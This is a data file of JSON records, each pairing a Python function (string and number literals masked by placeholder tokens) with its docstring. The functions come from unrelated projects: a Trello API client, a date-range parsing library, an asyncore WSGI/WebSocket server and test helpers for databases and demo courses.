{"signature": "def drop_db():", "body": "if not db_state['<STR_LIT>']:<EOL><INDENT>return<EOL><DEDENT>get_conn().close()<EOL>master = psycopg2.connect(database='<STR_LIT>')<EOL>master.rollback()<EOL>master.autocommit = True<EOL>cursor = master.cursor()<EOL>cursor.execute('<STR_LIT>' % db_state['<STR_LIT>']['<STR_LIT>'])<EOL>cursor.close()<EOL>master.close()<EOL>", "docstring": "Drop test db", "id": "f9777:m2"}
{"signature": "def __init__(self, connection, table, xform):", "body": "super(RenameReplace, self).__init__(connection, table)<EOL>self.xform = xform<EOL>", "docstring": "xform must be a function which translates old\nnames to new ones, used on tables & pk constraints", "id": "f9780:c1:m0"}
{"signature": "def timestamp(_, dt):", "body": "<EOL>dt = util.to_utc(dt)<EOL>unix_timestamp = calendar.timegm(dt.timetuple())<EOL>val = ((unix_timestamp - psql_epoch) * <NUM_LIT>) + dt.microsecond<EOL>return ('<STR_LIT>', (<NUM_LIT:8>, val))<EOL>", "docstring": "get microseconds since 2000-01-01 00:00", "id": "f9784:m3"}
{"signature": "def numeric(_, n):", "body": "try:<EOL><INDENT>nt = n.as_tuple()<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise TypeError('<STR_LIT>' % n)<EOL><DEDENT>digits = []<EOL>if isinstance(nt.exponent, str):<EOL><INDENT>ndigits = <NUM_LIT:0><EOL>weight = <NUM_LIT:0><EOL>sign = <NUM_LIT><EOL>dscale = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>decdigits = list(reversed(nt.digits + (nt.exponent % <NUM_LIT:4>) * (<NUM_LIT:0>,)))<EOL>weight = <NUM_LIT:0><EOL>while decdigits:<EOL><INDENT>if any(decdigits[:<NUM_LIT:4>]):<EOL><INDENT>break<EOL><DEDENT>weight += <NUM_LIT:1><EOL>del decdigits[:<NUM_LIT:4>]<EOL><DEDENT>while decdigits:<EOL><INDENT>digits.insert(<NUM_LIT:0>, ndig(decdigits[:<NUM_LIT:4>]))<EOL>del decdigits[:<NUM_LIT:4>]<EOL><DEDENT>ndigits = len(digits)<EOL>weight += nt.exponent // <NUM_LIT:4> + ndigits - <NUM_LIT:1><EOL>sign = nt.sign * <NUM_LIT><EOL>dscale = -min(<NUM_LIT:0>, nt.exponent)<EOL><DEDENT>data = [ndigits, weight, sign, dscale] + digits<EOL>return ('<STR_LIT>' % ndigits, [<NUM_LIT:2> * len(data)] + data)<EOL>", "docstring": "NBASE = 1000\nndigits = total number of base-NBASE digits\nweight = base-NBASE weight of first digit\nsign = 0x0000 if positive, 0x4000 if negative, 0xC000 if nan\ndscale = decimal digits after decimal place", "id": "f9784:m5"}
{"signature": "def _is_url_arg(p):", "body": "return p.startswith('<STR_LIT:[>')<EOL>", "docstring": "Is an argument of the URL.\n\n>>> _is_url_arg('[idAction]')\nTrue\n>>> _is_url_arg('actions')\nFalse", "id": "f9786:m0"}
{"signature": "def _is_api_definition(line):", "body": "return line.split('<STR_LIT:U+0020>', <NUM_LIT:1>)[<NUM_LIT:0>] in HTTP_METHODS<EOL>", "docstring": "Is a definition of a Trello endpoint.\n\n>>> _is_api_definition('GET /1/actions/[idAction]')\nTrue\n>>> _is_api_definition('action')\nFalse", "id": "f9786:m1"}
{"signature": "def _camelcase_to_underscore(url):", "body": "def upper2underscore(text):<EOL><INDENT>for char in text:<EOL><INDENT>if char.islower():<EOL><INDENT>yield char<EOL><DEDENT>else:<EOL><INDENT>yield '<STR_LIT:_>'<EOL>if char.isalpha():<EOL><INDENT>yield char.lower()<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return '<STR_LIT>'.join(upper2underscore(url))<EOL>", "docstring": "Translate camelCase into underscore format.\n\n>>> _camelcase_to_underscore('minutesBetweenSummaries')\n'minutes_between_summaries'", "id": "f9786:m2"}
{"signature": "def create_tree(endpoints):", "body": "tree = {}<EOL>for method, url, doc in endpoints:<EOL><INDENT>path = [p for p in url.strip('<STR_LIT:/>').split('<STR_LIT:/>')]<EOL>here = tree<EOL>version = path[<NUM_LIT:0>]<EOL>here.setdefault(version, {})<EOL>here = here[version]<EOL>for p in path[<NUM_LIT:1>:]:<EOL><INDENT>part = _camelcase_to_underscore(p)<EOL>here.setdefault(part, {})<EOL>here = here[part]<EOL><DEDENT>if not '<STR_LIT>' in here:<EOL><INDENT>here['<STR_LIT>'] = [[method, doc]]<EOL><DEDENT>else:<EOL><INDENT>if not method in here['<STR_LIT>']:<EOL><INDENT>here['<STR_LIT>'].append([method, doc])<EOL><DEDENT><DEDENT><DEDENT>return tree<EOL>", "docstring": "Creates the Trello endpoint tree.\n\n>>> r = {'1': { \\\n             'actions': {'METHODS': {'GET'}}, \\\n             'boards': { \\\n                 'members': {'METHODS': {'DELETE'}}}} \\\n        }\n>>> r == create_tree([ \\\n             'GET /1/actions/[idAction]', \\\n             'DELETE /1/boards/[board_id]/members/[idMember]'])\nTrue", "id": "f9786:m3"}
{"signature": "def main():", "body": "ep = requests.get(TRELLO_API_DOC).content<EOL>root = html.fromstring(ep)<EOL>links = root.xpath('<STR_LIT>')<EOL>pages = [requests.get(TRELLO_API_DOC + u)<EOL>for u in links if u.endswith('<STR_LIT>')]<EOL>endpoints = []<EOL>for page in pages:<EOL><INDENT>root = html.fromstring(page.content)<EOL>sections = root.xpath('<STR_LIT>')<EOL>for sec in sections:<EOL><INDENT>ep_html = etree.tostring(sec).decode('<STR_LIT:utf-8>')<EOL>ep_text = html2text(ep_html).splitlines()<EOL>match = EP_DESC_REGEX.match(ep_text[<NUM_LIT:0>])<EOL>if not match:<EOL><INDENT>continue<EOL><DEDENT>ep_method, ep_url = match.groups()<EOL>ep_text[<NUM_LIT:0>] = '<STR_LIT:U+0020>'.join([ep_method, ep_url])<EOL>ep_doc = b64encode(gzip.compress('<STR_LIT:\\n>'.join(ep_text).encode('<STR_LIT:utf-8>')))<EOL>endpoints.append((ep_method, ep_url, ep_doc))<EOL><DEDENT><DEDENT>print(yaml.dump(create_tree(endpoints)))<EOL>", "docstring": "Prints the complete YAML.", "id": "f9786:m4"}
{"signature": "def generate_api(version):", "body": "def get_partial_api(key, token=None):<EOL><INDENT>return TrelloAPI(ENDPOINTS[version], version, key, token=token)<EOL><DEDENT>get_partial_api.__doc__ =\"\"\"<STR_LIT>\"\"\".format(version)<EOL>return get_partial_api<EOL>", "docstring": "Generates a factory function to instantiate the API with the given\nversion.", "id": "f9787:m0"}
{"signature": "@property<EOL><INDENT>def _url(self):<DEDENT>", "body": "if self._api_arg:<EOL><INDENT>mypart = str(self._api_arg)<EOL><DEDENT>else:<EOL><INDENT>mypart = self._name<EOL><DEDENT>if self._parent:<EOL><INDENT>return '<STR_LIT:/>'.join(filter(None, [self._parent._url, mypart]))<EOL><DEDENT>else:<EOL><INDENT>return mypart<EOL><DEDENT>", "docstring": "Resolve the URL to this point.\n\n>>> trello = TrelloAPIV1('APIKEY')\n>>> trello.batch._url\n'1/batch'\n>>> trello.boards(board_id='BOARD_ID')._url\n'1/boards/BOARD_ID'\n>>> trello.boards(board_id='BOARD_ID')(field='FIELD')._url\n'1/boards/BOARD_ID/FIELD'\n>>> trello.boards(board_id='BOARD_ID').cards(filter='FILTER')._url\n'1/boards/BOARD_ID/cards/FILTER'", "id": "f9787:c0:m2"}
{"signature": "def _api_call(self, method_name, *args, **kwargs):", "body": "params = kwargs.setdefault('<STR_LIT>', {})<EOL>params.update({'<STR_LIT:key>': self._apikey})<EOL>if self._token is not None:<EOL><INDENT>params.update({'<STR_LIT>': self._token})<EOL><DEDENT>http_method = getattr(requests, method_name)<EOL>return http_method(TRELLO_URL + self._url, *args, **kwargs)<EOL>", "docstring": "Makes the HTTP request.", "id": "f9787:c0:m3"}
{"signature": "def __call__(self, **kwargs):", "body": "if not kwargs:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>'<STR_LIT:U+002CU+0020>'.join(self._allowed_args)))<EOL><DEDENT>elif len(kwargs) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>elif set(kwargs.keys()) <= set(self._allowed_args):<EOL><INDENT>_name, _api_arg = list(kwargs.items())[<NUM_LIT:0>]<EOL>name = '<STR_LIT:_>' + _name + '<STR_LIT:_>'<EOL>return TrelloAPI(endpoints=self._endpoints[name],<EOL>name=name,<EOL>apikey=self._apikey,<EOL>parent=self,<EOL>api_arg=_api_arg,<EOL>token=self._token)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(kwargs.keys()))<EOL><DEDENT>", "docstring": "Adds a variable parameter to the API URL.", "id": "f9787:c0:m4"}
{"signature": "def findall(text):", "body": "results = TIMESTRING_RE.findall(text)<EOL>dates = []<EOL>for date in results:<EOL><INDENT>if re.compile('<STR_LIT>', re.I).match(date[<NUM_LIT:0>]):<EOL><INDENT>dates.append((date[<NUM_LIT:0>].strip(), Range(date[<NUM_LIT:0>])))<EOL><DEDENT>else:<EOL><INDENT>dates.append((date[<NUM_LIT:0>].strip(), Date(date[<NUM_LIT:0>])))<EOL><DEDENT><DEDENT>return dates<EOL>", "docstring": "Find all the timestrings within a block of text.\n\n    >>> timestring.findall(\"once upon a time, about 3 weeks ago, there was a boy whom was born on august 15th at 7:20 am. epic.\")\n    [\n     ('3 weeks ago,', <timestring.Date 2014-02-09 00:00:00 4483019280>),\n     ('august 15th at 7:20 am', <timestring.Date 2014-08-15 07:20:00 4483019344>)\n    ]", "id": "f9791:m0"}
{"signature": "def __init__(self, start, end=None, offset=None, start_of_week=<NUM_LIT:0>, tz=None, verbose=False):", "body": "self._dates = []<EOL>pgoffset = None<EOL>if start is None:<EOL><INDENT>raise TimestringInvalid(\"<STR_LIT>\")<EOL><DEDENT>if not isinstance(start, (Date, datetime)):<EOL><INDENT>start = str(start)<EOL><DEDENT>if end and not isinstance(end, (Date, datetime)):<EOL><INDENT>end = str(end)<EOL><DEDENT>if start and end:<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>self._dates = (Date(start, tz=tz), Date(end, tz=tz))<EOL><DEDENT>elif start == '<STR_LIT>':<EOL><INDENT>self._dates = (Date('<STR_LIT>'), Date('<STR_LIT>'))<EOL><DEDENT>elif re.search(r'<STR_LIT>', start):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>start = re.sub('<STR_LIT>', '<STR_LIT>', start.lower())<EOL>r = tuple(re.split(r'<STR_LIT>', start.strip()))<EOL>self._dates = (Date(r[<NUM_LIT:0>], tz=tz), Date(r[-<NUM_LIT:1>], tz=tz))<EOL><DEDENT>elif re.match(r\"<STR_LIT>\", start):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>start, end = tuple(re.sub('<STR_LIT>', '<STR_LIT>', start).split('<STR_LIT:U+002C>'))<EOL>self._dates = (Date(start), Date(end))<EOL><DEDENT>else:<EOL><INDENT>now = datetime.now()<EOL>if re.search(r\"<STR_LIT>\", start):<EOL><INDENT>pgoffset = re.search(r\"<STR_LIT>\", start).group() + \"<STR_LIT>\"<EOL><DEDENT>if tz:<EOL><INDENT>now = now.replace(tzinfo=pytz.timezone(str(tz)))<EOL><DEDENT>res = TIMESTRING_RE.search(start)<EOL>if res:<EOL><INDENT>group = res.groupdict()<EOL>if verbose:<EOL><INDENT>print(dict(map(lambda a: (a, group.get(a)), filter(lambda a: group.get(a), group))))<EOL><DEDENT>if (group.get('<STR_LIT>') or group.get('<STR_LIT>')) is not None:<EOL><INDENT>delta = (group.get('<STR_LIT>') or group.get('<STR_LIT>')).lower()<EOL>start = Date(\"<STR_LIT>\", offset=offset, tz=tz)<EOL>di = \"<STR_LIT>\" % (str(int(group['<STR_LIT>'] or <NUM_LIT:1>)), delta)<EOL>if group['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if delta.startswith('<STR_LIT:y>'):<EOL><INDENT>start = Date(datetime(now.year, <NUM_LIT:1>, <NUM_LIT:1>), offset=offset, tz=tz)<EOL><DEDENT>elif delta.startswith('<STR_LIT>'):<EOL><INDENT>start = Date(datetime(now.year, now.month, <NUM_LIT:1>), offset=offset, tz=tz)<EOL><DEDENT>elif delta.startswith('<STR_LIT:w>'):<EOL><INDENT>start = Date(\"<STR_LIT>\", offset=offset, tz=tz) - (str(Date(\"<STR_LIT>\", tz=tz).date.weekday())+'<STR_LIT>')<EOL><DEDENT>elif delta.startswith('<STR_LIT:d>'):<EOL><INDENT>start = Date(\"<STR_LIT>\", offset=offset, tz=tz)<EOL><DEDENT>elif delta.startswith('<STR_LIT:h>'):<EOL><INDENT>start = Date(\"<STR_LIT>\", offset=dict(hour=now.hour+<NUM_LIT:1>), tz=tz)<EOL><DEDENT>elif delta.startswith('<STR_LIT:m>') or delta.startswith('<STR_LIT:s>'):<EOL><INDENT>start = Date(\"<STR_LIT>\", tz=tz)<EOL><DEDENT>else:<EOL><INDENT>raise TimestringInvalid(\"<STR_LIT>\")<EOL><DEDENT>end = start + di<EOL><DEDENT>elif group['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if int(group['<STR_LIT>'] or <NUM_LIT:1>) > <NUM_LIT:1>:<EOL><INDENT>di = \"<STR_LIT>\" % (str(int(group['<STR_LIT>'] or <NUM_LIT:1>) - <NUM_LIT:1>), delta)<EOL><DEDENT>end = start + di<EOL><DEDENT>elif group.get('<STR_LIT>') or group['<STR_LIT>'] == '<STR_LIT>' and int(group['<STR_LIT>'] or <NUM_LIT:1>) == <NUM_LIT:1>:<EOL><INDENT>end = start - di<EOL><DEDENT>else:<EOL><INDENT>if not (delta.startswith('<STR_LIT:h>') or delta.startswith('<STR_LIT:m>') or delta.startswith('<STR_LIT:s>')):<EOL><INDENT>start = Range('<STR_LIT>', offset=offset, tz=tz).end<EOL><DEDENT>end = start - di                    <EOL><DEDENT><DEDENT>elif group.get('<STR_LIT>'):<EOL><INDENT>start = Date(start, offset=offset, tz=tz)<EOL>start = start.replace(day=<NUM_LIT:1>)<EOL>end = start + '<STR_LIT>'<EOL><DEDENT>elif group.get('<STR_LIT>'):<EOL><INDENT>start = Date(start, offset=offset, tz=tz)<EOL>start = start.replace(day=<NUM_LIT:1>, month=<NUM_LIT:1>)<EOL>end = start + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>start = Date(start, offset=offset, tz=tz)<EOL>end = start + '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TimestringInvalid(\"<STR_LIT>\")<EOL><DEDENT>if end is None:<EOL><INDENT>end = start + '<STR_LIT>'<EOL><DEDENT>if start > end:<EOL><INDENT>start, end = copy(end), copy(start)<EOL><DEDENT>if pgoffset:<EOL><INDENT>start = start - pgoffset<EOL>if end != '<STR_LIT>':<EOL><INDENT>end = end - pgoffset<EOL><DEDENT><DEDENT>self._dates = (start, end)<EOL><DEDENT>if self._dates[<NUM_LIT:0>] > self._dates[<NUM_LIT:1>]:<EOL><INDENT>self._dates = (self._dates[<NUM_LIT:0>], self._dates[<NUM_LIT:1>] + '<STR_LIT>')<EOL><DEDENT>", "docstring": "`start` can be type <class timestring.Date> or <type str>", "id": "f9792:c0:m0"}
{"signature": "def __len__(self):", "body": "return abs(int(self[<NUM_LIT:1>].to_unixtime() - self[<NUM_LIT:0>].to_unixtime()))<EOL>", "docstring": "Returns how many `seconds` the `Range` lasts.", "id": "f9792:c0:m11"}
{"signature": "def cmp(self, other):", "body": "if isinstance(other, Range):<EOL><INDENT>start = self.start.replace(tzinfo=other.start.tz) if other.start.tz and self.start.tz is None else self.start<EOL>end = self.end.replace(tzinfo=other.end.tz) if other.end.tz and self.end.tz is None else self.end<EOL>if start == other.start and end == other.end:<EOL><INDENT>return <NUM_LIT:0> <EOL><DEDENT>elif start < other.start:<EOL><INDENT>return -<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:1><EOL><DEDENT><DEDENT>elif isinstance(other, Date):<EOL><INDENT>if other.tz and self.start.tz is None:<EOL><INDENT>return <NUM_LIT:0> if other == self.start.replace(tzinfo=other.tz) else -<NUM_LIT:1> if other > self.start.replace(tzinfo=other.start.tz) else <NUM_LIT:1><EOL><DEDENT>return <NUM_LIT:0> if other == self.start else -<NUM_LIT:1> if other > self.start else <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return self.cmp(Range(other, tz=self.start.tz))<EOL><DEDENT>", "docstring": "*Note: checks Range.start() only*\n        Key: self = [], other = {}\n            * [   {----]----} => -1\n            * {---[---}  ] => 1\n            * [---]  {---} => -1\n            * [---] same as {---} => 0\n            * [--{-}--] => -1", "id": "f9792:c0:m15"}
{"signature": "def __contains__(self, other):", "body": "if isinstance(other, Date):<EOL><INDENT>if self.start == '<STR_LIT>' and self.end >= other:<EOL><INDENT>return True<EOL><DEDENT>elif self.end == '<STR_LIT>' and self.start <= other:<EOL><INDENT>return True<EOL><DEDENT>elif other == '<STR_LIT>':<EOL><INDENT>return self.start == '<STR_LIT>' or self.end == '<STR_LIT>'<EOL><DEDENT>elif other.tz and self.start.tz is None:<EOL><INDENT>return self.start.replace(tzinfo=other.tz).to_unixtime() <= other.to_unixtime() <= self.end.replace(tzinfo=other.tz).to_unixtime()<EOL><DEDENT>return self.start <= other <= self.end<EOL><DEDENT>elif isinstance(other, Range):<EOL><INDENT>if self.start == '<STR_LIT>':<EOL><INDENT>return other.end <= self.end<EOL><DEDENT>elif self.end == '<STR_LIT>':<EOL><INDENT>return self.start <= other.start<EOL><DEDENT>elif other.start.tz and self.start.tz is None:<EOL><INDENT>return self.start.replace(tzinfo=other.start.tz).to_unixtime() <= other.start.to_unixtime() <= self.end.replace(tzinfo=other.start.tz).to_unixtime()and self.start.replace(tzinfo=other.start.tz).to_unixtime() <= other.end.to_unixtime() <= self.end.replace(tzinfo=other.start.tz).to_unixtime()<EOL><DEDENT>return self.start <= other.start <= self.end and self.start <= other.end <= self.end<EOL><DEDENT>else:<EOL><INDENT>return self.__contains__(Range(other, tz=self.start.tz))<EOL><DEDENT>", "docstring": "*Note: checks Range.start() only*\n        Key: self = [], other = {}\n            * [---{-}---] => True else False", "id": "f9792:c0:m16"}
{"signature": "def cut(self, by, from_start=True):", "body": "s, e = copy(self.start), copy(self.end)<EOL>if from_start:<EOL><INDENT>e = s + by<EOL><DEDENT>else:<EOL><INDENT>s = e - by<EOL><DEDENT>return Range(s, e)<EOL>", "docstring": "Cuts this object from_start to the number requestd\n        returns new instance", "id": "f9792:c0:m17"}
{"signature": "def next(self, times=<NUM_LIT:1>):", "body": "return Range(copy(self.end),<EOL>self.end + self.elapse, tz=self.start.tz)<EOL>", "docstring": "Returns a new instance of self\n        times is not supported yet.", "id": "f9792:c0:m19"}
{"signature": "def prev(self, times=<NUM_LIT:1>):", "body": "return Range(self.start - self.elapse,<EOL>copy(self.start), tz=self.start.tz)<EOL>", "docstring": "Returns a new instance of self\n        times is not supported yet.", "id": "f9792:c0:m20"}
{"signature": "def replace(self, **k):", "body": "if self.date != '<STR_LIT>':<EOL><INDENT>return Date(self.date.replace(**k))<EOL><DEDENT>else:<EOL><INDENT>return Date('<STR_LIT>')<EOL><DEDENT>", "docstring": "Note returns a new Date obj", "id": "f9794:c0:m17"}
{"signature": "def adjust(self, to):", "body": "if self.date == '<STR_LIT>':<EOL><INDENT>return<EOL><DEDENT>new = copy(self)<EOL>if type(to) in (str, unicode):<EOL><INDENT>to = to.lower()<EOL>res = TIMESTRING_RE.search(to)<EOL>if res:<EOL><INDENT>rgroup = res.groupdict()<EOL>if (rgroup.get('<STR_LIT>') or rgroup.get('<STR_LIT>')):<EOL><INDENT>i = int(text2num(rgroup.get('<STR_LIT>', '<STR_LIT>'))) * (-<NUM_LIT:1> if to.startswith('<STR_LIT:->') else <NUM_LIT:1>)<EOL>delta = (rgroup.get('<STR_LIT>') or rgroup.get('<STR_LIT>')).lower()<EOL>if delta.startswith('<STR_LIT:y>'):<EOL><INDENT>try:<EOL><INDENT>new.date = new.date.replace(year=(new.date.year + i))<EOL><DEDENT>except ValueError:<EOL><INDENT>new.date = new.date + timedelta(days=(<NUM_LIT> * i))<EOL><DEDENT><DEDENT>elif delta.startswith('<STR_LIT>'):<EOL><INDENT>if (new.date.month + i) > <NUM_LIT:12>:<EOL><INDENT>new.date = new.date.replace(month=(i - (i / <NUM_LIT:12>)),<EOL>year=(new.date.year + <NUM_LIT:1> + (i / <NUM_LIT:12>)))<EOL><DEDENT>elif (new.date.month + i) < <NUM_LIT:1>:<EOL><INDENT>new.date = new.date.replace(month=<NUM_LIT:12>, year=(new.date.year - <NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>new.date = new.date.replace(month=(new.date.month + i))<EOL><DEDENT><DEDENT>elif delta.startswith('<STR_LIT:q>'):<EOL><INDENT>pass<EOL><DEDENT>elif delta.startswith('<STR_LIT:w>'):<EOL><INDENT>new.date = new.date + timedelta(days=(<NUM_LIT:7> * i))<EOL><DEDENT>elif delta.startswith('<STR_LIT:s>'):<EOL><INDENT>new.date = new.date + timedelta(seconds=i)<EOL><DEDENT>else:<EOL><INDENT>new.date = new.date + timedelta(**{('<STR_LIT>' if delta.startswith('<STR_LIT:d>') else '<STR_LIT>' if delta.startswith('<STR_LIT:h>') else '<STR_LIT>' if delta.startswith('<STR_LIT:m>') else '<STR_LIT>'): i})<EOL><DEDENT>return new<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>new.date = new.date + timedelta(seconds=int(to))<EOL>return new<EOL><DEDENT>raise TimestringInvalid('<STR_LIT>')<EOL>", "docstring": "Adjusts the time from kwargs to timedelta\n**Will change this object**\n\nreturn new copy of self", "id": "f9794:c0:m18"}
{"signature": "def __str__(self):", "body": "return str(self.date)<EOL>", "docstring": "Returns date in representation of `%x %X` ie `2013-02-17 00:00:00`", "id": "f9794:c0:m23"}
{"signature": "def iteritems(dct):", "body": "if sys.version_info[<NUM_LIT:0>] == <NUM_LIT:2>:<EOL><INDENT>return dct.iteritems()<EOL><DEDENT>return dct.items()<EOL>", "docstring": "Get iterator for dict items", "id": "f9796:m0"}
{"signature": "def epoll_poller(timeout=<NUM_LIT:0.0>, map=None):", "body": "if map is None:<EOL><INDENT>map = asyncore.socket_map<EOL><DEDENT>pollster = select.epoll()<EOL>if map:<EOL><INDENT>for fd, obj in iteritems(map):<EOL><INDENT>flags = <NUM_LIT:0><EOL>if obj.readable():<EOL><INDENT>flags |= select.POLLIN | select.POLLPRI<EOL><DEDENT>if obj.writable():<EOL><INDENT>flags |= select.POLLOUT<EOL><DEDENT>if flags:<EOL><INDENT>flags |= select.POLLERR | select.POLLHUP | select.POLLNVAL<EOL>pollster.register(fd, flags)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>r = pollster.poll(timeout)<EOL><DEDENT>except select.error as err:<EOL><INDENT>if err.args[<NUM_LIT:0>] != EINTR:<EOL><INDENT>raise<EOL><DEDENT>r = []<EOL><DEDENT>for fd, flags in r:<EOL><INDENT>obj = map.get(fd)<EOL>if obj is None:<EOL><INDENT>continue<EOL><DEDENT>asyncore.readwrite(obj, flags)<EOL><DEDENT><DEDENT>", "docstring": "A poller which uses epoll(), supported on Linux 2.5.44 and newer\n\nBorrowed from here:\nhttps://github.com/m13253/python-asyncore-epoll/blob/master/asyncore_epoll.py#L200", "id": "f9796:m1"}
{"signature": "def get_poll_func():", "body": "if hasattr(select, '<STR_LIT>'):<EOL><INDENT>poll_func = epoll_poller<EOL><DEDENT>elif hasattr(select, '<STR_LIT>'):<EOL><INDENT>poll_func = asyncore.poll2<EOL><DEDENT>else:<EOL><INDENT>poll_func = asyncore.poll<EOL><DEDENT>return poll_func<EOL>", "docstring": "Get the best available socket poll function\n\n    :return: poller function", "id": "f9796:m2"}
{"signature": "def make_server(host, port, app=None,<EOL>server_class=AsyncWsgiServer,<EOL>handler_class=AsyncWsgiHandler,<EOL>ws_handler_class=None,<EOL>ws_path='<STR_LIT>'):", "body": "handler_class.ws_handler_class = ws_handler_class<EOL>handler_class.ws_path = ws_path<EOL>httpd = server_class((host, port), RequestHandlerClass=handler_class)<EOL>httpd.set_app(app)<EOL>return httpd<EOL>", "docstring": "Create server instance with an optional WebSocket handler\n\n    For pure WebSocket server ``app`` may be ``None`` but an attempt to access\n    any path other than ``ws_path`` will cause server error.\n\n    :param host: hostname or IP\n    :type host: str\n    :param port: server port\n    :type port: int\n    :param app: WSGI application\n    :param server_class: WSGI server class, defaults to AsyncWsgiServer\n    :param handler_class: WSGI handler class, defaults to AsyncWsgiHandler\n    :param ws_handler_class: WebSocket hanlder class, defaults to ``None``\n    :param ws_path: WebSocket path on the server, defaults to '/ws'\n    :type ws_path: str, optional\n    :return: initialized server instance", "id": "f9796:m3"}
{"signature": "def finish_response(self):", "body": "self.iterator = iter(self.result)<EOL>", "docstring": "Get WSGI response iterator for sending in handle_write", "id": "f9796:c0:m2"}
{"signature": "def poll_once(self, timeout=<NUM_LIT:0.0>):", "body": "if self._map:<EOL><INDENT>self._poll_func(timeout, self._map)<EOL><DEDENT>", "docstring": "Poll active sockets once\n\nThis method can be used to allow aborting server polling loop\non some condition.\n\n:param timeout: polling timeout", "id": "f9796:c2:m4"}
{"signature": "def handle_request(self):", "body": "self.poll_once(<NUM_LIT:0.5>)<EOL>", "docstring": "Call :meth:`poll_once`", "id": "f9796:c2:m5"}
{"signature": "def serve_forever(self, poll_interval=<NUM_LIT:0.5>):", "body": "logger.info('<STR_LIT>'.format(<EOL>self.server_name, self.server_port)<EOL>)<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self.poll_once(poll_interval)<EOL><DEDENT>except (KeyboardInterrupt, SystemExit):<EOL><INDENT>break<EOL><DEDENT><DEDENT>self.handle_close()<EOL>logger.info('<STR_LIT>')<EOL>", "docstring": "Start serving HTTP requests\n\nThis method blocks the current thread.\n\n:param poll_interval: polling timeout\n:return:", "id": "f9796:c2:m6"}
{"signature": "def handleMessage(self):", "body": "pass<EOL>", "docstring": "Called when websocket frame is received.\nTo access the frame data call self.data.\n\nIf the frame is Text then self.data is a unicode object.\nIf the frame is Binary then self.data is a bytearray object.", "id": "f9797:c2:m1"}
{"signature": "def handleConnected(self):", "body": "pass<EOL>", "docstring": "Called when a websocket client connects to the server.", "id": "f9797:c2:m2"}
{"signature": "def handleClose(self):", "body": "pass<EOL>", "docstring": "Called when a websocket server gets a Close frame from a client.", "id": "f9797:c2:m3"}
{"signature": "def close(self, status=<NUM_LIT:1000>, reason=u'<STR_LIT>'):", "body": "try:<EOL><INDENT>if self.closed is False:<EOL><INDENT>close_msg = bytearray()<EOL>close_msg.extend(struct.pack(\"<STR_LIT>\", status))<EOL>if _check_unicode(reason):<EOL><INDENT>close_msg.extend(reason.encode('<STR_LIT:utf-8>'))<EOL><DEDENT>else:<EOL><INDENT>close_msg.extend(reason)<EOL><DEDENT>self._sendMessage(False, CLOSE, close_msg)<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>self.closed = True<EOL><DEDENT>", "docstring": "Send Close frame to the client. The underlying socket is only closed\nwhen the client acknowledges the Close frame.\n\nstatus is the closing identifier.\nreason is the reason for the close.", "id": "f9797:c2:m6"}
{"signature": "def sendFragmentStart(self, data):", "body": "opcode = BINARY<EOL>if _check_unicode(data):<EOL><INDENT>opcode = TEXT<EOL><DEDENT>self._sendMessage(True, opcode, data)<EOL>", "docstring": "Send the start of a data fragment stream to a websocket client.\nSubsequent data should be sent using sendFragment().\nA fragment stream is completed when sendFragmentEnd() is called.\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f9797:c2:m8"}
{"signature": "def sendFragment(self, data):", "body": "self._sendMessage(True, STREAM, data)<EOL>", "docstring": "see sendFragmentStart()\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f9797:c2:m9"}
{"signature": "def sendFragmentEnd(self, data):", "body": "self._sendMessage(False, STREAM, data)<EOL>", "docstring": "see sendFragmentEnd()\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f9797:c2:m10"}
{"signature": "def sendMessage(self, data):", "body": "opcode = BINARY<EOL>if _check_unicode(data):<EOL><INDENT>opcode = TEXT<EOL><DEDENT>self._sendMessage(False, opcode, data)<EOL>", "docstring": "Send websocket data frame to the client.\n\nIf data is a unicode object then the frame is sent as Text.\nIf the data is a bytearray object then the frame is sent as Binary.", "id": "f9797:c2:m11"}
{"signature": "@classmethod<EOL><INDENT>def get(cls, update_dict=None, remove_fields=None):<DEDENT>", "body": "cls.demo_course_count += <NUM_LIT:1><EOL>course_copy = copy.deepcopy(cls.DEMO_COURSE)<EOL>if update_dict:<EOL><INDENT>if \"<STR_LIT:content>\" in update_dict:<EOL><INDENT>course_copy[\"<STR_LIT:content>\"].update(update_dict[\"<STR_LIT:content>\"])<EOL>del update_dict[\"<STR_LIT:content>\"]<EOL><DEDENT>course_copy.update(update_dict)<EOL><DEDENT>course_copy.update({\"<STR_LIT:id>\": \"<STR_LIT>\".format(course_copy[\"<STR_LIT:id>\"], cls.demo_course_count)})<EOL>if remove_fields:<EOL><INDENT>for remove_field in remove_fields:<EOL><INDENT>if remove_field in course_copy:<EOL><INDENT>del course_copy[remove_field]<EOL><DEDENT><DEDENT><DEDENT>return course_copy<EOL>", "docstring": "get a new demo course", "id": "f9806:c0:m0"}
{"signature": "@classmethod<EOL><INDENT>def reset_count(cls):<DEDENT>", "body": "cls.demo_course_count = <NUM_LIT:0><EOL>", "docstring": "go back to zero", "id": "f9806:c0:m1"}
